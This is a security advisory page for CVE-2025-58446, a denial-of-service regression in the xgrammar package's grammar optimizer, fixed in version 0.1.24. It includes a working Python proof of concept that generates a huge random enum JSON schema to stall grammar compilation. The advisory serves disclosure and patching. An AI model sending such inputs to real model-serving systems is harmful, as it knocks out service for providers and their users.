CVE-2025-58446: xgrammar vulnerable to denial of service by huge enum grammar
Summary Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser. Details Full reproducer provider in the POC section.
Published Sep 5, 2025 · Updated Sep 10, 2025
Affected packages
xgrammar
- Ecosystem
- PyPI
- Affected
- = 0.1.23
- Fixed in
- 0.1.24
- Check
pip show xgrammar
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.
Details
Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.
Patch
This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.
Thanks to @Seven-Streams
PoC
import string
import random
def enum_schema(size=10000,str_len=10):
enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
schema = {
"definitions": {
"colorEnum": enum
},
"type": "object",
"properties": {
"color1": {
"$ref": "#/definitions/colorEnum"
},
"color2": {
"$ref": "#/definitions/colorEnum"
},
"color3": {
"$ref": "#/definitions/colorEnum"
},
"color4": {
"$ref": "#/definitions/colorEnum"
},
"color5": {
"$ref": "#/definitions/colorEnum"
},
"color6": {
"$ref": "#/definitions/colorEnum"
},
"color7": {
"$ref": "#/definitions/colorEnum"
},
"color8": {
"$ref": "#/definitions/colorEnum"
}
},
"required": [
"color1",
"color2"
]
}
return schema
schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))where:
def test_schema(schema, instance):
grammar = xgr.Grammar.from_json_schema(
json.dumps(schema),
strict_mode=True
)
return _is_grammar_accept_string(grammar, json.dumps(instance))Impact
DOS
Credited to xendo.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-25048
xgrammar vulnerable to DoS via multi-layer nesting
high8.7Mar 5, 2026CVE-2025-57809
XGrammar affected by Denial of Service by infinite recursion grammars
high7.5Aug 25, 2025CVE-2025-32381
xgrammar Vulnerable to Denial of Service (DoS) by abusing unbounded cache in memory
medium6.5Apr 9, 2025
